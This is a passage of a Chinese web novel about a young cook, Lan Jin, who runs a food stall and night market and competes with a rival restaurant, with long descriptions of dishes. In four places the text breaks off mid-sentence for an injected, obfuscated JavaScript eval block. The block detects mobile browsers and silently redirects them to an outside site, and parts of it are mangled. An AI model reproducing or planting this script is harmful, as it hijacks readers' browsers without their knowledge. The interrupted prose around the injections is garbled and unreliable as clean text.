郭崇善正等着他那二十份打包的朝食，闻言懒懒地开腔： “哪是巧了，就那萧家，早好几日就打听好了，桥头蓝小娘子的食店什么时候开张，开在哪里。” “她家那混世魔王，老早就在书院里放话，谁有种去光顾蓝记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090778|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就叫他知道萧字怎么写。” 云江望“扑哧”一笑，揶揄郭崇善： “青山书院净是些好没意思的东西，你来光顾，想是知道萧字怎么写了？” 郭崇善瞥她一眼，慢腾腾地往外拿食盒，无所谓地哼哼： “咱是文盲，管他萧字怎样写？萧家净出些妖魔鬼怪！” “嘿嘿，倒不如你云大才女能耐，写字那都不用笔，刀枪剑戟样样都能划……” 云江望一脚踢到他后腰，叫他往前一个趔趄，狼狈地扑别人一个满怀。 郭崇善可怜地捂着屁股一回头：“你……” 云江望把下巴一扬：“我怎么样？要我教教你，云字怎么在人身上，用刀写，嗯？” 刀字被恶狠狠地加重了声音。 郭崇善慢慢缩回去，又回头去看别人身上的汤汁子，不停道歉： “对不住，这位仁兄，我姓郭名崇善，仁兄尊姓大名？改日请你吃酒赔罪，地方随你挑。” 被撞的郎君面色不变，风轻云淡地说：“这倒不必。我姓萧，名仁禹。” 把郭小公子尴尬的：“噢噢！好的！好的！” 面色涨红地胡乱摸出一锭银子，往他手里一塞：“赔萧兄的衣袍。” 拎着他的二十份朝食，顾头不顾尾地灰溜溜垂头走了。 饶是这样还没忘了抛下一句：“蓝小娘子你做的暮食给我留一份！” 蓝锦应了，看了全程的好戏，略显烦躁的心情竟被缓解。 此时玩笑着看向那蓝扇花蝴蝶，哦，是萧大公子。 “萧郎君，你又要吃点什么呀？” 萧仁禹听着这称呼，嘴角噙着一抹笑，走上前来，把刚才那银锭往柜台上一放。 “今日的菜色，蓝小娘子最爱吃什么，我就要那个。” 好好好，看在银子的份上，你要什么都能给你做呀。 蓝锦手快地把银锭往怀里一抹，重又堆笑：“萧郎君稍坐，您的菜马上就来。” 蓝锦实在人，拿钱办事，今日的菜色里，她最爱一道蜂巢山菇酥。 此点虽名声不显，做法却复杂精细，想来不是识货的老饕，轻易也没人点呢。 这道菜是由蓬松如蜂窝状的外皮，裹上芋泥皮子，中心满是半流动半固体的各色山菇碎。 顶顶要紧的是包这点心的手法。 精心调了味道的山菇碎娇嫩多汁，还要用那蒸熟捣碎，掺了淀粉、米粉的芋头泥来包裹。 这还没完，须得大灶猛火，又把油温控制得精熟。 才能炸出蓬松如云朵，饱满如蜂巢，焦脆似烟花，灿黄似金玉的外壳。 初学这道菜时，蓝锦饱受折磨，不知炸坏了多少蘑菇，含泪吃了多少面粉呢。 如今的小店出师不利，还好她手艺还在呀，办法总比困难多，事在人为嘛。 蓝锦总能在烹调时获得心灵的舒适和宁静。 像那天香楼，她不是没想过要研究一番，抑或拜拜码头。 只是她本以为要等到自己也开酒楼的那日，才能招惹上这尊大佛呢。 算了，车到山前必有路。 “得嘞，您的菜来了，蜂巢山菇酥，萧郎君慢用啊。” 蓝锦包着头巾，小蜜蜂似地从厨房打着转端出一个高脚的雕花白玉碟。 11. 厚切炒猪肝 萧仁禹有些乖巧地向蓝锦一点头，目光随着蓝锦手中那高脚盘上金黄新奇的酥点移动。 等饭吃.gif “多谢。” 萧仁禹拿起竹箸，从面前的盘子里搛起一枚小巧玲珑的山菇酥，举到眼前细细观察。 像沉压枝头的一簇黄栌果子，像杏缃色的美人握。 送入口中，像躺在远人的甲板上，把泼天的碧海挥手冻住。 一咬便轻轻落下钻石样的汹涌水粒，簌簌喳喳地炸开。 慢品却是焦黄温暖的小火花，纠缠着温吞柔软、轻拨缓行又笼罩四方的细吻。 为那亦小亦强的惊喜所震慑，萧仁禹一时没有说出话来。 蓝锦这边却和云江望聊开了。 “云小娘子，你似是熟悉萧家天香楼的经营？” “是啊，这昭应县没有蓝小娘子你之前，也就这地方值得盘桓流连。” 云江望双手抱着一个啃了一半的鸡翅骨，却仰起头认真地回答蓝锦。 “蓝小娘子你想知道什么，尽管问我就是。” “从前天香楼常摆这低价的流水宴来吸引客人吗？” “从来没有这事，她家才不是那有钱拿着撒的主。这样说来，姓郭的那人说得有点道理。” “天香楼真可能是专跟蓝记打擂台，说明她们心里暗暗怕你呢！” 蓝锦这才有点小小的忧愁，如果天香楼因她开店成日大摆宴席—— 人人都只有一张嘴一个肚子，饶是她手艺再好，又能卖给谁？ 蓝锦抚着小狗头，低声念叨，一旁的萧仁禹耳聪目明，接话道： “小娘子手艺这样惊人，以后定能名闻遐迩。” “只不过眼下初出茅庐，若是觉得对上她们不便，或许可以先行绕开，再从长计议。” 哦？厨艺收割机成功再添忠实拥趸一枚！ 有人认可自己厨艺，蓝锦心头小人的小尾巴，又咻地一下翘起来了。 “小郎君且讲讲，这绕开有何说头？” “天都居民皆已习惯夜市，只因公署从来不乏宵衣旰食的上官，兼有夜巡的当差，乃至打更的更夫。” “总有人夜深方归，所以三更天还有提瓶卖茶，担筐货饼的。” 萧仁禹放下筷子，转过身来双目平视着蓝锦。 “酒楼尾大不掉，纵支撑了白日，也难顾及深夜。小娘子不妨试试先做夜间生意。” “从来宝珠在匣中，尘难掩其光，一定能时来运转。” 蓝锦经这提醒，左思右想，倒觉得真是一个好主意！ 没看到处处开花的夜宵文化么？ 蓝锦学厨师的时候，校门口有家张姐炒面。 叫她看来，重油重盐，火候常常太过，可架不住这些厨师预备役都爱光顾。 只因那是深夜里一处暖人心扉的橘色小灯。 热气腾腾的炒面在寒夜中往手里一捧，好像第二个家在这雷打不动地等你回来似的。 还有人在这排队之时交了朋友，或是专门凑在此处老友见面，甚至有人给它写诗呐！ 蓝锦相信在这也是一样的。深夜里吃一口热乎乎的现成的—— 对满身疲惫消耗了一天的劳动人民，还有那些单纯饿到啃床的小可爱们来说，难道不会有致命吸引力吗？ 只是……这里夜间的治安好么，万一有个酒醉不走的，还是那个问题，她们孤姐寡妹又独狗的…… 萧仁禹一直默默观察着蓝锦，忖着她的神色道。 “如果小娘子不嫌弃，我萧某人倒懂得一点武艺，愿意留下给小娘子做个护卫，只要给我留碗饭就行了。” 蓝锦震惊。 蓝锦拒绝。 蓝锦可供不起这尊大佛！ 这一看就是打哪儿来“微服私访”的清闲世家公子，瞧那谈吐气度，跟什么十大公子榜的宣传画一样。 她小鱼小虾，还是不要往身边凑了吧。 蓝锦讪笑：“劳烦萧郎君费心了，小店本小利微的，恐怕不是长久之计。” “我本就打算雇个粗使婢仆，已着人打听着了，守家卫店的，就不麻烦郎君出手了。” 萧仁禹面色不变，只微笑道：“小娘子有主意便好，只是也给我留份暮食。” 吃完最后一口酥，慢慢踱步走了。 客少，白等着不是办法。 蓝锦待云江望用完餐食，从她那打听了牙人的行情，客客气气送走了她，便把门一栓。 往西街柴新处又打听了一遍，这才去了平沟苑雇人。 李牙人听是柴新介绍来的，满面堆笑：“蓝老板，要雇何种婢仆？” “是贴身伺候人的，听差跑腿的，还是凑趣唱曲的，我这里可连胡国的舞姬都有呢。” 蓝锦神秘一勾唇：“都不要。要能吃能睡的女孩，沾枕就着的，最好一顿能吃十个馒头的。” 李牙人一句话梗在喉间，笑容凝在脸上：“蓝老板不是来消遣我的吧，这，这不是砸我招牌吗？” 蓝锦摇摇头，重又道：“我自有道理。我点名要这样的，不会翻过脸来编排你的不是。” 李牙人眼珠一转，笑呵呵地说：“这可不是巧了么！” “刚刚来一个丫头，生能举起一个大水缸！” “只是乡野间没人教没人养……缺嘴那么一点点，和蓝老板正正有缘呐！” 忙不迭叫人把五丫喊来给蓝锦瞧瞧。 来人身长五尺，身形却消瘦了些，小脸瘦黄的，警惕的小拳头却很结实。 唔，这简直是个身高一七五的女篮小妹妹！ 蓝锦探头探脑地捏捏人家的大臂，嚯，是肌肉！ “就她了。”蓝锦一锤定音。 “蓝老板眼光好，这可是我这最好的小婢了！” “你我有缘，不赚你的钱，二两银，二两银，您带走！呵呵。”李牙人笑得见牙不见眼。 这金牙齿老头！蓝锦瞥了他一眼，心里无力吐槽，又不想贬损女孩子来压价。 “今日我进你家院子，有个乌鸦啊，当着我面就叫唤，晦气！晦气！” “哎，也不知是不是你家院子克人啊，我先出去打听打听。” “蓝老板这是怎么话说，没有的事，没有的事啊。这样吧，您开价，您说多少？” “怪道说流年不利，连天香楼都来抢我的生意。原来是应在了你这处。” “恐怕要来你这，最败生意人的好运啊。唉，该我命里有此一劫。” “买了你家的人，还不更穷得响叮当了，我得跟街坊都打听打听啊！不买了，我得走了。” “蓝老板留步，留步，这样，一两，就一两，这就签契子！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090779|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不是他好说话，实是这五丫太能吃了。 已是尽量摁着给，人却越来越瘦了，更加无人问津。 她才不是刚来，是留他这小仨月了！ 好容易宰个冤大头，谁知道人家不干。 蓝锦将将走到门口，脚步不停，一抹脸眉梢一翘：“半两银。” 李牙人只作捶胸顿足状，连连说道：“不能够，这可不能够！” 只见蓝锦坚决地拐出门了，只好把她叫回来。 最后二人你争我执，以六百文的价格签了契子。 蓝锦把身契往怀里一揣，扬起小脸，携起五丫的手，昂首阔步地走了。 还好她执着，看老板肉痛的表情，应是砍到底价了。 这还未开张就多了一笔开销，蓝锦心在滴血，面上却只作老神在在。 二人回到家里，蓝锦先给五丫一盘馒头。 叫她自己吃完，去后间厢房里睡一觉，等叫她再起来。 五丫愣愣的，好像被这天降大饼砸懵了。 小秋带小狗刚从隔壁李婶子那里回家，拉着五丫的手，指着后间道： “去呀去呀，就那里，叫小狗带你去。” 驱小白狗去帮忙。 小狗哈着小舌头，从灶台前忙来忙去的蓝锦身上移开视线。 小鼻子不再嗅厨房的香味，改嗅新来客的味道。 蓝锦正打算动工，她想要给家里的新成员来个小小的欢迎仪式，顺便给开张第一天庆功。 开了门也是功嘛！ 还得给今晚的夜宵生意备菜呢，好能够真正地开一开张。 自家晚餐安排厚切炒猪肝，腐皮炒小白菜。 自己酿的虾籽酱油做的阳春面，再炸个雪绵豆沙。 蓝锦忙忙碌碌地刷洗停当，准备好了许多夜宵备料。 眼瞧着快到晚食的时辰，方准备去炒那几个菜。 回头却见五丫呆愣愣地站在厨房门口，小脸睡得红扑扑的。 人慢吞吞地说：“主家，你吩咐。” 蓝锦心里好笑，本想让她多睡会，好歹养养牙人那的缺口。 晚上还得劳人家看家镇户的，有得辛劳。 蓝锦守承诺，并不叫她插手，手指一指： “现在不要你动手，先去坐那歇着，跟小秋一起吃点东西。” 说罢便戴了便帽，热火朝天地炒起菜来，变戏法似地端上了桌。 一道厚切炒猪肝，不同于之前的薄切做法，厚切的猪肝更嫩，更大块。 一口下去，肉香盈口，火候多一分则多，少一分则憾。更满足，更解馋！ 一道腐皮炒小白菜，绿油油的菜叶子叫蓝锦提前抓匀了薄盐。 每一口都伴着香味十足的油腐皮，口感上又好似吃肉，一口接一口停不下来。 让五丫狠狠涨了见识，吃得两眼直放光。 一道雪绵豆沙，这可是功夫菜。 因油温控得好，糖粒子的甜度又得当，吃上一口好似在棉花团中醺眠，里头的豆沙细腻，甜到人心里去。 小秋是吃惯了花糕的，对豆沙可谓熟悉极了，今次却再次觉出别样的新奇。 蓝锦看着不停往嘴里扒拉阳春面的五丫，给她在碗里又添一勺虾籽。 “锅里还有，在我这吃饱为止。你的名字就叫五丫吗？” 12. 贡菜拌毛肚 五丫老实地点点头：“就叫五丫。” 蓝锦又问：“你家还有旁的人吗？” 五丫低着头不语，蓝锦搂了一下她的肩，识趣地转移了话题。 “我觉着你的名字很好听的，只是这字简单了点，写出来不够好看。” 蓝锦探身去柜台上取了纸笔，“你看，如果叫‘悟雅’，你觉得如何呢？” 正说着把两个名字都写下来，念着叫五丫分辨。 五丫眸子里闪着细碎的星子，右边这个新名字明显筋骨匀称，端方雅致。 她把小拳头往前一伸，手指蜷藏在拳头下：“这个好看。” 又想起来什么似的，忙补上一句：“谢过东家恩德。” 蓝锦拍拍她的手：“不要这样客气，跟小秋一样叫我姐姐就好，不愿的话叫我小娘子也罢。” “好，那以后我们就叫你悟雅了。” 悟雅凝神想了想，还是颔首：“谢过蓝小娘子。” 小秋吃得一脑门子汗，抬起汗津津的额头插话道： “姐，这几样菜都好香的，虾籽酱油也鲜，今晚就做这些卖吗？” 蓝锦一五一十地跟她解释：“这些火候菜要一份份现炒现做。” “我们刚开馆子，恐怕把握不好时辰，待我心里有数了再做不迟。” “今晚我们先卖贡菜拌毛肚，酸辣凉粉，鸡汁回卤干，虾籽阳春面，酒酿小圆子。” 小秋扯出蓝锦给她备好的粉白汗巾子，擦擦额头的汗，有点着急地接口道： “李婶娘家的大姐姐说，天香楼的菜她没吃过，却知道有厉害的大人专门写东西夸它呢。” “好多人看，那个燕子堵了门，很咸的菜！” 蓝锦往嘴里送了一口虾籽，停下筷子：“腌笃鲜，是不是？哪里能看到呢？” 小秋用手比划着：“好大一张纸，上面有小人，有小字还有大字，李婶娘家就有。” 难道天香楼还撒软文宣传？这意识也太超前了吧！ 蓝锦打算吃完饭就去借来瞧瞧。 带上一份雪绵豆沙作谢礼，蓝锦拖家带口地去了隔壁，笑着开口。 “谢谢婶子白日里替我看顾素秋，省了我多少功夫。” “这是自家炸的小点心，不是什么金贵东西，婶子尝尝。” 又指着悟雅：“这是我家新来的伙计悟雅，带她来认认门，以后邻里邻居的常来往。” 李玉佛点头致意，放下手中的酒舀，过来迎她：“哎呀，你这小娘子，恁地客气，多谢你嗳。” “这点心瞧着好生新奇，我可不舍得吃它了！” 又唤女儿柏娘过来。 柏娘笑着在小秋的双丫髻上揉了两把，又去戳她面上的小肉窝：“吃的什么好东西，酥渣子还坠着呢！” 小秋大方地把一盘子雪团儿似的点心都端给柏娘，示意她尝。 “就是这个！洛姐姐，你那张有天香楼的纸，能给我姐姐看看吗？” 洛修柏当即从怀中掏出一份折得四四方的小报。 “喏，拿去吧。很早之前的，我全看过了，学里也还有呢。” 蓝锦道了谢，接手过来，正看到一篇行文酣畅，一气呵成的“腌笃鲜颂”，落款是“邈晴庵主人”。 细细读来，文笔虽华美，但也没有什么很新鲜的做法，蓝锦大概能推测出它的味道。 洛修柏歪着头和蓝锦一道瞧：“蓝姐姐觉得如何？” “就因为这个，当时这道菜可是盛极一时，日日售空，天香楼整天被人催着加量呢！” 蓝锦不做评价，只问：“这个邈晴庵主人是什么人，很受人追捧么？” 洛修柏只作小鸡啄米状。 “很厉害！很出名！很神秘！轻易不出山！一出山昭应纸贵！” 蓝锦把这写了养花之道、茶酒之品、调香之韵、珍馐之精的小报还给了柏娘，默默陷入沉思。 这名号，怎么读来有点似曾相识呢…… 眼见快要到华灯初上的时辰，蓝锦跟悟雅一道，把一张长桌拖到店门口。 摆了大大一张招牌：“夜宵”，下书几个大字：“蓝记五碗香”。 悟雅在蓝锦的鼓励下，一声声放大嗓门。 直到用上了丹田的气息，大吼一声：“蓝记五碗香，走过路过不要错过！” 可把小狗吓了一跳，颠颠地跑回后间了。 蓝锦拿着把小扇子，不停地扇那盆红艳艳、亮盈盈的红油调料，酸辣的香气氤在四周，渐渐飘远。 郭崇善和云江望竟是一道来的，蓝锦把头探着一瞧，后面还有个霍旭云。 想是各个书院都下学了，只是李婶家的洛修柏缘何早早地就回了？ 霍旭云率先跑过来，亲亲热热地挽蓝锦的胳膊，扬起张笑脸：“蓝姐姐，今儿给我准备了什么好吃的？” 云江望也不甘示弱。分明白日间才刚见过，同蓝锦还是客客气气的样子。 这就来挽蓝锦的另一只臂膀，眼一瞥地嗔道：“蓝姐姐，她好不害臊呢，哪里是给她一个人的。” 蓝锦心头莫名其妙，懵懵道：“啊，啊？” 郭崇善跟过来：“这个一看就好吃，我要这个，这个，还有这个！” 除了酒酿小圆子，统统点了一遍。 蓝锦只轻拍开两人的手，走上前取出四个碗一字排开，挨个盛了端给郭崇善。问几人道： “你们今日来得倒晚，我看洛修柏小娘子很早就回来了呢。” 郭崇善吃得不抬头，满嘴都是红油：“她们今日书院考试，厉害的放了假，露了馅的被留堂了呗！” 云江望自家盛了一碗鸡汁回卤干，一碗酒酿小圆子，央蓝锦再煮一碗阳春面。 闻言刺道：“哟，你当自己好得呱呱叫，还不也是留堂回来的。” 郭崇善抬起头：“我才不是，我那是，替蓝小娘子去盯那姓萧的梢了。” 却在此时看见萧仁禹，忙改口道：“那天香楼掌柜的儿子……萧兄，你来了，萧兄坐！” 萧仁禹颔首，在一旁坐下。 蓝锦好奇道：“然后呢，发现天香楼的什么了？” 郭崇善神情郁郁，只嘟囔道：“跟丢了，什么也没看到。” 萧仁禹却幽幽地从怀里掏出一沓纸，抽出几张递给蓝锦。 “这是明日天香楼的流水席食单，标了厨子和原料的。” 蓝锦讶然：“你这从哪来的，难不成她们还散这个么？” 萧仁禹脸色淡淡的：“不过就在后厨，我拿了就回了。” 就！在！后！厨！ 拿！了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090780|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！就！回！了！ 蓝锦：“拿了就回了？” 萧仁禹：“拿了就回了。” 好正直的面庞，好端方的语气！ 难道您不清楚，或许可能大概，这是一种溜门撬锁的行径吗？ 萧仁禹显然一副不清楚的样子，理所当然地又递来几张。 “你放心，她家并不好过，明日订货单子紧急削了三成成本。” “压不下价的皆换了次等货，连鱼虾都打算要用死的。” 谢过蓝锦端来的贡菜拌毛肚和酒酿小圆子，继续道： “你这样技艺非凡，只消坚持几日，自然名利双收，不战而屈人之兵了。” 蓝记冲他一扬眉：“你这小郎君人还怪好的呢，人美心善的好食客！” 萧仁禹低头抿了抿唇，努力压下上扬的嘴角。 不用别人说，蓝锦原也是打算慢慢熬的。 她心里清楚得很，大菜贱卖，能得几时好？ 这实在是个并不十分明智的举措。 或许人家原打量着，她第一天开张，就被这下马威唬得跌一跟头。 从此再爬不起来，灰溜溜地跑回乡下才好。 刚在蓝锦身边时，云江望和霍旭云怪怪的样子。 蓝锦回头去看，现下她们又好得头碰头一起吃小圆子了，正吃得香着呢。 顺着几名老客带来的人气，兼之叫人无法忽视的香味，越来越多的过路客为这蓝记夜宵驻足。 便见一个白袍书生口中喃喃：“这贡菜又是什么菜？” 蓝锦热情地回答：“是莴苣做的，可脆口了。” “夏日来上一分，爽脆弹牙，好不舒爽！我这料汁子里芝麻放得多，可香了呢。” 书生去一旁坐下，夹起一筷子贡菜并毛肚。 灰褐翠绿，裹满白芝麻，红彤彤的汁水布满全身，恋恋不舍地往下滴滴地淌。 一并放入口中，咸香麻辣，嘎嘣噼啪，好似那炮仗一般脆！ 书生嘶哈着舌头：“老板，了不起！这是什么高妙菜色，好生清脆呀。” 蓝锦故技重施：“口中鞭炮喈喈，笔下文章惊雷，正是好口彩，好口才呢！” 书生连拍三下桌子：“好！好！好！我这乡试正该借老板吉言。” 这厢动静引得小店愈来愈红火，那边却有人咬碎了银牙。 萧曼娘歪在榻上，恨恨地翻看今日的流水。 一旁的丈夫小心地给她打着扇子，偷偷观察她的脸色。 开了这流水席，正经饭菜倒没一个人吃了。 从前来摆大款充牌面的那帮人都干什么去了！ 本来宴席一开，探子报知那小店锁了门，还正得意着。 谁知又来说开了什么劳什子夜市，红火极了！ 萧曼娘心中愤懑至极，原打算随便动动手指，吓得她看看清楚自己腕子粗细，谁知她这样不识趣。 好，那走着瞧，看那敞开了怀也不过她一掌大小的小店，拿什么和自己掰腕子。 蓝锦却没功夫思忖这些，她只顾揉着酸软的小腿，躺在床上笑得嘴咧开了花。 沽清，全部沽清！ 想想那些赞不绝口的食客，满当当的钱袋子…… 蓝锦像怀抱了个金元宝似地倒头就进入了梦乡。 13. 酸辣海鲜粉 天香楼的赔本买卖做了多少天，蓝锦的饮食店就火了多少场。 不是萧曼娘不会做生意，实在是那“蓝记五碗香”夜市成日地花样翻新。 今天有什么螺蛳粉、炸臭干专场——这等臭的烂的也有人吃！ 明日又来什么红油麻辣火锅，冷吃钵钵鸡，香辣口水兔。 天天地给人送她那打着大大的“蓝记”签子的玫瑰露，上回还有人带着来自家酒楼用饭！ 百花宴倒是停过一天，可那小泼皮，闻讯就开门挂了牌—— “蓝记五碗香”午市特供，免费试吃，全场五折。 把那尝过没尝过的人——这县城的贪吃鬼就这么多，好些是她家的老客——全都吸引了个遍。 叫天香楼那日的流水直比露窟窿的底裤还难看！ 蓝锦这边正红光满面地订下一日的货。 托这些好心食客的福，她不仅手上的银钱大大宽裕，还莫名得了邈晴庵主人的青眼。 不管蓝锦怎么回忆，也想不起来自家店里曾来过这么一号人物。 直到洛修远激动地拿给蓝锦一份新出的小报——就是那个谈花论鸟，品茶论酒的大俗大雅之报。 指给她一篇新的文章： 《盘古开天以来最棒汤饼——蓝记螺蛳粉，不服给我尝你家的》 邈晴庵主人。 ？？！ 这标题，我也没花钱啊？总不能是黑粉吧！ 怪道说，这几天人流陡增，来人还总爱口中念念有词，伸出个大拇哥，相互对眼神：“盘古以来，是这个！” 这个邈晴庵主人，说是挺神秘的，消息却这么灵通，对吃食还挺主动的嘛。 如果叫萧曼娘听见蓝锦这话，再想想自己从前求爷爷告奶奶。 花了多少银钱精力，访来各地特色美食去讨好，又捐了多少功德。 才磨得人家给自家的腌笃鲜写出区区一篇短文。 更莫说人家写完了还要放下筷子，咂摸咂摸嘴：“细品也就一般。” 绝对又要“哐哐”留下一屋子新的瓷器碎片：好生可恶！ 这些烦恼进不去蓝锦的脑子，她最大的烦恼就是： 啊啊，顾客太多了。 是松口答应了做他们爱吃的呢，还是坚持自己“蓝记夜宵，晚晚换新”的花样呢？ 蓝锦心里还是偏向后者的，小吃，还是多换换样子的嘛！ 却也被要求复刻的食客缠得没有法子。 当下正跟一个行脚货郎商定货价。这名浓眉深目的行脚商姓胡，似是有些异族血统。 看上就是个爱四方游走，见多识广的。 他往返天都城和昭应县买卖杂货，故而所售百货的种类丰富一些。 蓝锦新近打算，雇他给自己供应海鲜。 虽然鲜活的求不到了，但是品相良好的干货，鱿鱼干贝，螺肉鱼饼之类，总还有希望。 蓝锦打算拿来做陵水酸粉。那可是鲜美浓香，酸酸辣辣的，那滋味，吃过一次就忘不了！ 没吃过的有难了！ 这是海南一带的特色食物，故而带着鲜明的海味。 蓝锦私心觉着，这种食物比海南鸡饭还好吃，哪怕在海南粉自家阵营里，也要排到顶顶前面的。 再配上一碗椰香清补凉，罢了吃一口弹嫩糯滑的红糖千层糕，炎炎溽暑夜，快活似神仙！ 如是到了第二天，蓝锦打听得天香楼终于消停，总归今天白日里不再摆什么贱价流水席，便系上围裙开了店。 自然，这场游击要托萧小郎君的福，亏得他一日一日，不厌其烦地—— 去天香楼后厨拿食单、订货契子……嗯，拿了就回了。 给自己看过，还原样放回去…… 今日的蓝记饮食店主打酸辣海鲜粉，也就是陵水酸粉。 以防吃客被名字劝退，换了个再直白不过的名称。 粉是提前做好了的，只消把大米泡软，磨浆过筛，漏成细细的粉条。 蓝锦早早就腌制好了牛肉干，俱是切了薄片、开水里滚过，又用热油炸了的。 拌上咸鲜带有一丝微甜的特制腌料，嗯~美味，享受！ 若她是小秋，刚做好就全吃了。 胡客商带来的鱼饼、鱿鱼干和沙虫干俱都下油锅炸得脆香，切成细条，一阵更比一阵香。 这便来调汤底，爆香蒜蓉、姜汁子，撒上酱油糖盐、香醋麻油等种种调料，这是蓝锦琢磨出来的秘方。 另起一锅，倒自己腌好的腐乳酱，山菇粉，再用初榨留下的、主要是糖色的老抽酱油上色。 打一小碗水淀粉，边搅边加进去，直到成了一锅粉糊糊，这浓稠度，是酸粉挂汁的关键。 取个卖相上佳的碗来，先把煮熟的细粉放进去。 撒上香酥诱人的牛肉干、鱼饼丝、炸花生和只滚了一小滚的鲜嫩韭菜。 这样已是很好看了，还要再浇上酸辣汤底，拌上粉糊糊。 点些香油、香菜和自己特制的黄灯笼辣椒酱，留待客人去搅它。 今天的第一位客人是萧仁禹，没办法，他消息最灵通——有特殊的知情渠道。 故而蓝锦把他这碗的小料撒得多多的，肉条肉干不要钱似地给，没办法，投桃报李嘛！ 至于后来萧仁禹心里美滋滋的，偷偷去比量自家碗中的给量，和云江望等人的所得，得出我还是最不一般的结论—— 蓝锦上哪知道他这弯弯绕。 这细粉本身就软弹吸汁，更别提还有各种口味的海鲜丝与牛肉片。 油炸过的脆感香味，辅以咸甜交织、酸辣勾人的调味。 因这糊糊做得好，每一筷子粉上都牢牢地嵌上许多山珍海味。 吃上一口，好像全世界的海与山都被你吃进肚子里了！ 哎，天上人间啊！ 这不是蓝锦自鸣得意，实是这进店的客人们，没一个不是扶墙出去的。 还要多嘱咐一句：“蓝老板，这道珍馐可万万要再多做几回啊！” 再去看那原是第一个来的小郎君，还在端雅风流地徐徐吃着最后一点细粉。 红润的嘴唇咬一口青白相间的千层糕，又执靛蓝勺浅酌一口椰汁清补凉。 别人吃饭就像是在日常吃饭，他却像一颗竹子成了精。 还像一只优雅餍足的大猫咪——但绝对不是橘色的。 也不是狸花色的——那种无论如何都外露一股野性。 蓝锦想，得是那种打着黑领结的奶牛猫。 喝完牛奶要骄矜着脖子，站在那里舔手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090781|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的，这还差不多。 蓝锦心满意足地理理钱袋子，心满意足地看看美人吃饭，觉得这生活越来越有盼头了。 等到胡客商再送来新的鱿鱼干和沙虫干时，蓝锦打算应再三叮咛的老客所请，再把这酸辣海鲜粉请出山。 只是当蓝锦哼着小曲，炸完牛肉，炸完鱼饼，炸完花生仁时，陡然发现—— 这次的海鲜，是坏的！ 不是那种明显的腐坏，也没有改换了品种。 只是除却最上面的薄薄一层，其下满袋子都是掺了黑点，似是已经开始发霉了的！ 不仔细闻，不容易注意到，所以她昨日才着了道。 蓝锦心慌慌的，把所有袋子都拆开，全是坏的！ 她急匆匆地使悟雅去寻那行脚商，客栈里也没有。 摸去他报的家小地址，也是人去楼空。 追责索赔还是小事，主要是一时半会之间，叫她去哪里找这许多鱿鱼干和沙虫干！ 不巧的是，昨日自己还当众承诺，明天一定会复刻这道“来自海之南的馈赠”，敬请新老客赏光。 万一许多人闻讯赶来，特别是什么邈晴庵主人有了兴致，过来的话，可如何是好？ 蓝锦团团转了几瞬，终是放弃了完美主义的想法。 都是海南粉么，多姿多彩，总还有抱罗粉、澄迈粉、后安粉……不一而足。 而且就是不用海鲜，也能做出鲜香特殊的滋味。 蓝锦复归从容，依旧把可用的螺肉干贝吊了高汤。 纤细的粉今次配上了酸菜、嫩肉丝和竹笋丁，还有豆芽增添鲜脆口感。 炸花生仁，炒芝麻粒，炸牛肉干，炸鱼饼丝，仍然留下。 撒上葱花香菜，麻油香醋，款款地端上了桌。 每位客人都被蓝锦送了一小碟胭脂鸡。 这鸡是新鲜现杀的农家溜达鸡，膘肥体健。 经蓝锦的手一烹制，火候掐算得刚好，那斩开的鸡骨晕出一团若隐若现的血色，故名“胭脂”。 虽量不大，这一小碟白切鸡也是从未出现过的新品，清香扑鼻，只蘸着蓝记秘制酱油吃，足矣。 蓝锦稍显歉意地开口道：“老板一时眼拙，给人摆了一道，今日海鲜粉供应不上那日同样的了。” “这一道海南腌粉，粉是一样的，又是另一种口味，诸位不介意的话请尝尝看。” “这一碟子胭脂鸡，是小店给大家的赔礼，让客人期望落了空，终究是我不察导致的。” 不待蓝锦说完，已经有嘴急的客人夹起一片鸡肉就吃上了。 鸡皮弹牙，只鲜不腥，爽脆极了。 肉嫩多汁，回味无穷！ 信女愿荤素搭配，唯求日日吃上这胭脂鸡！ 